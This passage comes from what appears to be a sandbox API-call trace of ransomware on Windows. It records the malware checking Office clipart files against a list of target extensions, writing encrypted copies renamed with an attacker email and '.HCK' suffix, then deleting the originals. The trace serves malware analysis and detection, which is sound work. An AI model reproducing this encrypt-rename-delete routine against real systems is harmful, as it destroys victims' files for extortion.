Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0166.773] lstrlenW (lpString=".doc") returned 4 [0166.773] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.773] lstrlenW (lpString=".docx") returned 5 [0166.773] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0166.773] lstrlenW (lpString=".pdf") returned 4 [0166.773] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.773] lstrlenW (lpString=".xls") returned 4 [0166.773] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.773] lstrlenW (lpString=".xlsx") returned 5 [0166.773] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0166.773] lstrlenW (lpString=".ppt") returned 4 [0166.773] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0166.773] lstrlenW (lpString=".zip") returned 4 [0166.773] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.773] lstrlenW (lpString=".rar") returned 4 [0166.773] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.773] lstrlenW (lpString=".bz2") returned 4 [0166.773] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.773] lstrlenW (lpString=".7z") returned 3 [0166.773] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0166.774] lstrlenW (lpString=".dbf") returned 4 [0166.774] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0166.774] lstrlenW (lpString=".1cd") returned 4 [0166.774] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0166.774] lstrlenW (lpString=".jpg") returned 4 [0166.774] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.774] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0166.774] lstrlenW (lpString="J0105502.WMF") returned 12 [0166.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0166.775] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=5472) returned 1 [0166.776] CloseHandle (hObject=0x2ec) returned 1 [0166.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf")) returned 0x220 [0166.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0166.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0166.796] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0166.797] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0166.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0166.811] GetLastError () returned 0x0 [0166.811] ReadFile (in: hFile=0x394, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1560, lpOverlapped=0x0) returned 1 [0166.814] WriteFile (in: hFile=0x378, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1570, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1570, lpOverlapped=0x0) returned 1 [0166.815] ReadFile (in: hFile=0x394, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0166.815] WriteFile (in: hFile=0x378, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0166.815] SetEndOfFile (hFile=0x378) returned 1 [0166.818] CloseHandle (hObject=0x378) returned 1 [0166.820] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0166.820] SetEndOfFile (hFile=0x394) returned 1 [0166.841] CloseHandle (hObject=0x394) returned 1 [0166.856] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0166.856] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf")) returned 1 [0166.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0166.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0166.864] lstrlenW (lpString=".doc") returned 4 [0166.864] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.864] lstrlenW (lpString=".docx") returned 5 [0166.864] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0166.864] lstrlenW (lpString=".pdf") returned 4 [0166.864] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.864] lstrlenW (lpString=".xls") returned 4 [0166.864] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.864] lstrlenW (lpString=".xlsx") returned 5 [0166.864] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0166.864] lstrlenW (lpString=".ppt") returned 4 [0166.864] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0166.864] lstrlenW (lpString=".zip") returned 4 [0166.864] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.864] lstrlenW (lpString=".rar") returned 4 [0166.864] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.864] lstrlenW (lpString=".bz2") returned 4 [0166.864] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.864] lstrlenW (lpString=".7z") returned 3 [0166.865] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0166.865] lstrlenW (lpString=".dbf") returned 4 [0166.865] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0166.865] lstrlenW (lpString=".1cd") returned 4 [0166.865] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0166.865] lstrlenW (lpString=".jpg") returned 4 [0166.865] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0166.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0166.865] lstrlenW (lpString=".doc") returned 4 [0166.865] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.865] lstrlenW (lpString=".docx") returned 5 [0166.865] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0166.865] lstrlenW (lpString=".pdf") returned 4 [0166.865] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.865] lstrlenW (lpString=".xls") returned 4 [0166.865] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.865] lstrlenW (lpString=".xlsx") returned 5 [0166.865] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0166.865] lstrlenW (lpString=".ppt") returned 4 [0166.865] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0166.865] lstrlenW (lpString=".zip") returned 4 [0166.865] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.865] lstrlenW (lpString=".rar") returned 4 [0166.865] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.865] lstrlenW (lpString=".bz2") returned 4 [0166.865] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.865] lstrlenW (lpString=".7z") returned 3 [0166.865] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0166.865] lstrlenW (lpString=".dbf") returned 4 [0166.865] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0166.865] lstrlenW (lpString=".1cd") returned 4 [0166.865] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0166.865] lstrlenW (lpString=".jpg") returned 4 [0166.865] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.866] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0166.866] lstrlenW (lpString="J0105526.WMF") returned 12 [0166.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0166.877] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=17332) returned 1 [0166.877] CloseHandle (hObject=0x330) returned 1 [0166.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf")) returned 0x220 [0166.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0166.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0166.884] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0166.884] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0166.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0166.902] GetLastError () returned 0x0 [0166.902] ReadFile (in: hFile=0x330, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x43b4, lpOverlapped=0x0) returned 1 [0166.904] WriteFile (in: hFile=0x354, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x43c0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x43c0, lpOverlapped=0x0) returned 1 [0166.905] ReadFile (in: hFile=0x330, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0166.905] WriteFile (in: hFile=0x354, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0166.905] SetEndOfFile (hFile=0x354) returned 1 [0166.907] CloseHandle (hObject=0x354) returned 1 [0166.910] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0166.910] SetEndOfFile (hFile=0x330) returned 1 [0166.916] CloseHandle (hObject=0x330) returned 1 [0166.920] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0166.920] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf")) returned 1 [0166.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0166.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0166.926] lstrlenW (lpString=".doc") returned 4 [0166.926] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.926] lstrlenW (lpString=".docx") returned 5 [0166.926] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0166.926] lstrlenW (lpString=".pdf") returned 4 [0166.926] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.926] lstrlenW (lpString=".xls") returned 4 [0166.926] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.927] lstrlenW (lpString=".xlsx") returned 5 [0166.927] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0166.927] lstrlenW (lpString=".ppt") returned 4 [0166.927] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0166.927] lstrlenW (lpString=".zip") returned 4 [0166.927] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.927] lstrlenW (lpString=".rar") returned 4 [0166.927] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.927] lstrlenW (lpString=".bz2") returned 4 [0166.927] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.927] lstrlenW (lpString=".7z") returned 3 [0166.927] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0166.927] lstrlenW (lpString=".dbf") returned 4 [0166.927] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0166.927] lstrlenW (lpString=".1cd") returned 4 [0166.927] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0166.927] lstrlenW (lpString=".jpg") returned 4 [0166.927] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0166.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0166.927] lstrlenW (lpString=".doc") returned 4 [0166.927] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.927] lstrlenW (lpString=".docx") returned 5 [0166.927] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0166.927] lstrlenW (lpString=".pdf") returned 4 [0166.927] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.927] lstrlenW (lpString=".xls") returned 4 [0166.927] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.927] lstrlenW (lpString=".xlsx") returned 5 [0166.927] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0166.927] lstrlenW (lpString=".ppt") returned 4 [0166.927] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0166.927] lstrlenW (lpString=".zip") returned 4 [0166.927] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.927] lstrlenW (lpString=".rar") returned 4 [0166.927] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.927] lstrlenW (lpString=".bz2") returned 4 [0166.927] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.927] lstrlenW (lpString=".7z") returned 3 [0166.927] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0166.927] lstrlenW (lpString=".dbf") returned 4 [0166.927] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0166.927] lstrlenW (lpString=".1cd") returned 4 [0166.928] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0166.928] lstrlenW (lpString=".jpg") returned 4 [0166.928] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.928] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0166.928] lstrlenW (lpString="J0105638.WMF") returned 12 [0166.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0166.938] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=10364) returned 1 [0166.938] CloseHandle (hObject=0x308) returned 1 [0166.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf")) returned 0x220 [0166.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0166.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0166.957] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0166.958] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0166.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0166.969] GetLastError () returned 0x0 [0166.969] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x287c, lpOverlapped=0x0) returned 1 [0166.971] WriteFile (in: hFile=0x388, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x2880, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2880, lpOverlapped=0x0) returned 1 [0166.973] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0166.973] WriteFile (in: hFile=0x388, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0166.973] SetEndOfFile (hFile=0x388) returned 1 [0166.977] CloseHandle (hObject=0x388) returned 1 [0166.981] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0166.981] SetEndOfFile (hFile=0x370) returned 1 [0166.987] CloseHandle (hObject=0x370) returned 1 [0166.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0166.990] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf")) returned 1 [0166.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0166.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0166.993] lstrlenW (lpString=".doc") returned 4 [0166.993] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.993] lstrlenW (lpString=".docx") returned 5 [0166.993] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0166.993] lstrlenW (lpString=".pdf") returned 4 [0166.993] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.993] lstrlenW (lpString=".xls") returned 4 [0166.993] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.993] lstrlenW (lpString=".xlsx") returned 5 [0166.993] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0166.993] lstrlenW (lpString=".ppt") returned 4 [0166.993] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0166.993] lstrlenW (lpString=".zip") returned 4 [0166.993] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.993] lstrlenW (lpString=".rar") returned 4 [0166.993] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.993] lstrlenW (lpString=".bz2") returned 4 [0166.993] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.993] lstrlenW (lpString=".7z") returned 3 [0166.993] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0166.993] lstrlenW (lpString=".dbf") returned 4 [0166.993] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0166.993] lstrlenW (lpString=".1cd") returned 4 [0166.993] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0166.994] lstrlenW (lpString=".jpg") returned 4 [0166.994] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0166.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0166.994] lstrlenW (lpString=".doc") returned 4 [0166.994] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.994] lstrlenW (lpString=".docx") returned 5 [0166.994] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0166.994] lstrlenW (lpString=".pdf") returned 4 [0166.994] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.994] lstrlenW (lpString=".xls") returned 4 [0166.994] lstrcmpiW (lpString1=".xls", 